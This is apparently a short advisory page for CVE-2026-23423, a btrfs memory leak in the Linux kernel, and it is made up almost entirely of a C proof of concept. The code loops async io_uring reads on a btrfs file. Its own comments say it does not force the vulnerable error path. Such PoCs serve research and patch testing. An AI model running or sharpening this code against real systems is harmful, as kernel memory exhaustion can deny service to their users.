CVE-2026-23423: Linux Kernel btrfs内存泄漏漏洞

// Conceptual PoC for CVE-2026-23423 // This code attempts to trigger the memory leak by forcing error paths in btrfs io_uring reads. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <liburing.h> #define FILE_PATH "/mnt/btrfs/test_file.bin" // Path on a btrfs mount #define BUFFER_SIZE 4096 int main() { struct io_uring ring; int fd = open(FILE_PATH, O_RDONLY | O_DIRECT); if (fd < 0) { perror("open"); return 1; } // Initialize io_uring if (io_uring_queue_init(32, &ring, 0) < 0) { perror("io_uring_queue_init"); close(fd); return 1; } printf("Starting PoC loop to trigger memory leak...\n"); // Loop to repeatedly trigger the allocation and potential error path for (int i = 0; i < 100000; i++) { struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); void *buf = NULL; posix_memalign(&buf, BUFFER_SIZE, BUFFER_SIZE); if (!sqe) break; // Setup read operation io_uring_prep_read(sqe, fd, buf, BUFFER_SIZE, 0); sqe->flags |= IOSQE_ASYNC; // Force async processing io_uring_submit(&ring); // Wait for completion struct io_uring_cqe *cqe; io_uring_wait_cqe(&ring, &cqe); // In a real exploit, specific conditions would be forced to ensure // btrfs_encoded_read_regular_fill_pages fails and returns non -EIOCBQUEUED. // This loop simulates the load and potential for hitting the error path. io_uring_cqe_seen(&ring, cqe); free(buf); } io_uring_queue_exit(&ring); close(fd); return 0; }